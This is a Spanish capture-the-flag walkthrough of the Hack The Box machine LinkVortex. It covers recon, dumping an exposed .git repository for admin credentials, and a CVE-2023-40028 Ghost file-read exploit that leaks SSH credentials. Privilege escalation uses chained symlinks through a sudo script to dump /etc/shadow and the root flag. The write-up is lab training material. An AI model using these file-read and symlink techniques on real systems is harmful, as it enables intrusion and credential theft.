Page cover

🟢LinkVortex

En esta ocasión vamos a hacer el writeup de la máquina LinVortex de Hack the Box, una máquina Linux de dificultad easy.

Primer acceso

Añadimos la IP 10.10.11.47 a nuestro /etc/hosts y accedemos través del navegador.

sudo echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts

Parece un blog sobre componentes de hardware. Solamente vemos 3 páginas a simple vista:

  • Home: Con enlaces a los posts

  • About: Texto hablando sobre la empresa

  • Páginas de post: puro contenido de texto

En el footer nos encontramos "Powered by Ghost" con un link a la siguiente web, lo que nos indica la tecnología sobre la que está construído:

Al parecer no encontramos nada que nos llame la atención, por lo que vamos a ver los puertos que tiene abiertos.

Escaneo de puertos

sudo nmap -v -A -sCV -T5 10.10.11.47
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos. Por el momento el puerto 80 es nuestro principal vector de entrada.

Enumeración

Al ejecutar whatweb contra la web encontramos un plugin Ghost 5.58 bastante interesante:

afsh4ck@kalki$ whatweb -v http://linkvortex.htb     
         
WhatWeb report for http://linkvortex.htb
Status    : 200 OK
Title     : BitByBit Hardware
IP        : 10.10.11.47
Country   : RESERVED, ZZ

Summary   : Apache, HTML5, HTTPServer[Apache], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], X-Powered-By[Express], X-UA-Compatible[IE=edge]

Detected Plugins:
[ HTTPServer ]
	HTTP server header string. This plugin also attempts to 
	identify the operating system from the server header. 

	String       : Apache (from server string)

[ JQuery ]
	A fast, concise, JavaScript that simplifies how to traverse 
	HTML documents, handle events, perform animations, and add 
	AJAX. 

	Version      : 3.5.1
	Website     : http://jquery.com/

[ MetaGenerator ]
	This plugin identifies meta generator tags and extracts its 
	value. 

	String       : Ghost 5.58

Fuzzing

Haciendo fuzzing con dirsearch no encontramos nada relevante y que podamos acceder:

dirsearch -u http://linkvortex.htb -x 300,301,302,400,403,404,503

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/Escritorio/machines/htb/linkvortex/reports/http_linkvortex.htb/_24-12-09_13-37-44.txt

Target: http://linkvortex.htb/

[13:37:44] Starting: 
[13:38:13] 301 -   63B  - /.aspnet/DataProtection-Keys/  ->  /.aspnet/dataprotection-keys/
[13:38:13] 301 -   45B  - /.axoCover/  ->  /.axocover/
[13:38:27] 301 -   57B  - /.externalToolBuilders/  ->  /.externaltoolbuilders/
[13:38:38] 301 -   40B  - /.HTF/  ->  /.htf/
[13:38:56] 301 -   47B  - /.Rproj.user/  ->  /.rproj.user/
[13:39:03] 301 -   53B  - /.tools/phpMyAdmin/  ->  /.tools/phpmyadmin/
[13:39:03] 301 -   61B  - /.tools/phpMyAdmin/current/  ->  /.tools/phpmyadmin/current/
[13:39:22] 301 -   49B  - /_DynaCacheEsi/  ->  /_dynacacheesi/
[13:39:26] 301 -   48B  - /_LPHPMYADMIN/  ->  /_lphpmyadmin/

En este punto parece que estamos en un Rabit Hole, por lo que vamos a probar a enumerar subdominios.

Enumeración de Vhosts

En este momento puede parecer que no podemos hacer nada, pero vamos a usar ffuf para enumerar subdominios dentro de este host:

ffuf -u http://linkvortex.htb -H "Host:FUZZ.linkvortex.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 274ms]

Bingo! Obtenemos el subdominio dev.linkvortex.htb. Vamos a añadirlo a /etc/hosts y entrar para ver su contenido.

Parece que la web está en construcción y no hay ningún link ni comentario en el código fuente. Vamos a volver a hacer fuzzing contra este subdominio a ver si encontramos algo interesante:

dirsearch -u http://dev.linkvortex.htb -x 404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_dev.linkvortex.htb/_24-12-09_13-44-58.txt

Target: http://dev.linkvortex.htb/

[13:44:58] Starting: 
[13:45:39] 200 -  175B  - /.git/logs/HEAD
[13:45:39] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/
[13:45:40] 200 -  557B  - /.git/
[13:45:40] 200 -  201B  - /.git/config
[13:45:40] 200 -   73B  - /.git/description
[13:45:40] 200 -  620B  - /.git/hooks/
[13:45:40] 200 -   41B  - /.git/HEAD
[13:45:40] 200 -  418B  - /.git/objects/
[13:45:41] 200 -  240B  - /.git/info/exclude
[13:45:41] 200 -  402B  - /.git/info/
[13:45:41] 200 -  401B  - /.git/logs/
[13:45:41] 200 -  691KB - /.git/index
[13:45:42] 200 -  147B  - /.git/packed-refs
[13:45:42] 200 -  393B  - /.git/refs/
[13:45:42] 301 -  249B  - /.git/refs/tags  ->  http://dev.linkvortex.htb/.git/refs/tags/

Encontramos un directorio .git interesante, al cual podemos acceder a todos los archivos:

Explotación del directorio .git

Para dumpear el contenido del repositorio .git y extraer información relevante podemos utilizar git-dumper, un script de Python diseñado para reconstruir un repositorio a partir de un directorio .git.

python3 git_dumper.py http://dev.linkvortex.htb/.git/ ~/linkvortex

[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]

Esto nos descarga en local el repositorio para analizarlo mejor, dentro del directorio .git:

cd ~/linkvortex

Haciendo un poco de enumeración en el repo encontramos un archivo interesante: authentication.test.js

find . -iname '*authentication*'            

./ghost/core/test/regression/api/admin/__snapshots__/authentication.test.js.snap
./ghost/core/test/regression/api/admin/authentication.test.js
./ghost/core/test/e2e-api/content/key_authentication.test.js
./ghost/core/test/e2e-api/admin/key-authentication.test.js
./ghost/core/core/server/api/endpoints/utils/serializers/output/authentication.js
./ghost/core/core/server/api/endpoints/authentication.js
./ghost/admin/mirage/config/authentication.js
./ghost/admin/tests/acceptance/authentication-test.js

Al leer este archivo nos encontramos unas credenciales que parecen de un usuario administrador:

cat ./ghost/core/test/regression/api/admin/authentication.test.js | grep pass
            
            const password = 'OctopiFociPilfer45';
                        password,
            await agent.loginAs(email, password);
                        password: 'thisissupersafe',
                        password: 'thisissupersafe',
            const password = 'thisissupersafe';
                        password,
            await cleanAgent.loginAs(email, password);
                        password: 'lel123456',
                        password: '12345678910',
                        password: '12345678910',

Tenemos 2 posibles credenciales:

const password = 'OctopiFociPilfer45';
const password = 'thisissupersafe';

Acceso al directorio ghost

Si accedemos al directorio /ghost llegamos a un panel de login donde podríamos probar a loguearnos:

Probamos las siguientes credenciales y accedemos sin problema:

admin@linkvortex.htb
OctopiFociPilfer45

Tenemos acceso de administrador al CMS. Ahora vamos a buscar la manera de explotar esto.

Explotación

Buscando en internet encontramos un CVE asociado a la versión de Ghost 5.58:

En este script debemos editar la línea donde se referencia al host. El script también indica que ha sido probado contra una imagen de Ghost usando Docker:

#THIS EXPLOIT WAS TESTED AGAINST A SELF HOSTED GHOST IMAGE USING DOCKER

#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'

Lo podemos ejecutar de la siguiente manera para extraer el contenido de cualquier archivo, como el /etc/passwd:

bash CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45

WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Solamente encontramos un usuario interesante:

  • node: Probablemente el usuario bajo el cual se ejecuta la aplicación Ghost, ya que Ghost está desarrollado en Node.js. El usuario node es relevante porque podría tener acceso a los archivos de configuración y credenciales del sistema.

User flag

Volviendo a revisar el dump del repositorio git, nos encontramos el archivo Dockerfile.ghost, que contiene un archivo de configuración interesante: config.production.json:

cat Dockerfile.ghost 

FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Vamos a utilizar el script de nuevo para leer este archivo de configuración:

bash CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45

WELCOME TO THE CVE-2023-40028 SHELL
file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
file> 

Buuuum! Obtenemos las credenciales del usuario bob:

"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"

Nos conectamos por SSH correctamente con estas credenciales y obtenemos la flag:

ssh bob@10.10.11.47                      
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Dec 10 23:22:14 2024 from 10.10.14.123
bob@linkvortex:~$ ls
user.txt
bob@linkvortex:~$ cat user.txt 
ca0b467f296e8811f**************

Escalada de privilegios

Vamos a ver los permisos de ejecución que tenemos en la máquina:

bob@linkvortex:~$ sudo -l

Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Vamos a ver el script:

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Este escenario presenta una vulnerabilidad de escalada de privilegios debido al uso de un script que se ejecuta como sudo sin requerir contraseña y que puede ser manipulado. Vamos a desglosar cómo explotar esta configuración para elevar privilegios:


Análisis de la Configuración

  1. Permisos de Ejecución con sudo:

    • El usuario bob puede ejecutar el script /opt/ghost/clean_symlink.sh con permisos de superusuario (sudo) sin contraseña.

    • El script acepta un argumento que debe ser un archivo con extensión .png.

  2. Vulnerabilidad en el Script:

    • La variable CHECK_CONTENT se lee del entorno y se usa sin validación. Si se define como true, el script ejecuta el comando /usr/bin/cat en un archivo específico.

    • Existe un uso inseguro de $LINK, que se pasa directamente a comandos como /usr/bin/mv y /usr/bin/cat, sin validación adicional.

  3. Punto Crítico:

    • Puedes controlar la variable de entorno CHECK_CONTENT y proporcionar un enlace simbólico (symlink) malicioso que apunte a un archivo crítico del sistema, como /etc/shadow.

Procedimiento de Explotación

Paso 1: Definir la Variable de Entorno

Antes de ejecutar el script, establece la variable CHECK_CONTENT como true para habilitar la lectura del contenido del archivo objetivo:

export CHECK_CONTENT=true

Paso 2: Crear un Enlace Simbólico

Crea un enlace simbólico que apunte a un archivo crítico, por ejemplo, /etc/shadow:

ln -s /etc/shadow fake.png

Paso 3: Ejecutar el Script

Ejecuta el script con sudo, pasando el enlace simbólico como argumento:

sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
Last login: Tue Dec  3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ ln -s /etc/shadow fake.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
! Trying to read critical files, removing link [ fake.png ] !
bob@linkvortex:~$ ln -s /root/root.txt fake.png                          
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
! Trying to read critical files, removing link [ fake.png ] !

El script implementa una comprobación que evita la lectura de archivos críticos (como aquellos en /etc o /root) al detectar patrones específicos en la ruta del enlace simbólico. Esto limita directamente el acceso a archivos sensibles. Sin embargo, el comportamiento del script todavía deja una posible vulnerabilidad que puede ser explotada con un enfoque alternativo.

Paso 1: Crear una Carpeta Temporal

Usa una carpeta temporal para alojar el enlace simbólico que apuntará al archivo crítico.

mkdir /tmp/safe
ln -s /etc/shadow /tmp/safe/fake.png

Paso 2: Crear el Enlace Simbólico

Apunta el enlace simbólico principal al archivo dentro de la carpeta temporal:

ln -s /tmp/safe/fake.png fake.png

Paso 3: Ejecutar el Script

Ejecuta el script como antes, usando fake.png:

sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png

Link found [ fake.png ] , moving it to quarantine
Content:
root:$y$j9T$C3zg87gHwrCXO0vl4igIh/$iisf9sVwilKAi7mI5p1FqQslJWM9t2.YUWznIPC/XIA:19814:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
usbmux:*:19814:0:99999:7:::
bob:$6$rounds=656000$4p3mw8hAd9ir.25f$ocGm9nW1TM2AB8Z.l0K.hi43bOrm3oxQsaKFACMoS2UL.tIXxSW3u/xsClrvkEhP5s.GUpdIvCX3qRtppDV8r.:19814:0:99999:7:::
dnsmasq:*:19814:0:99999:7:::
_laurel:!:20057::::::

Tenemos el /etc/shadow, con lo que podemos acceder a cualquier archivo del sistema! En nuestro caso vamos a usarlo para obtener la flag en /root/root.txt

bob@linkvortex:~$ ln -s /root/root.txt pwn.txt
bob@linkvortex:~$ ln -s /home/bob/pwn.txt pwn.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png
Link found [ /home/bob/pwn.png ] , moving it to quarantine
Content:
66fff895f2399f********************

Tenemos la root flag!

Última actualización

¿Te fue útil?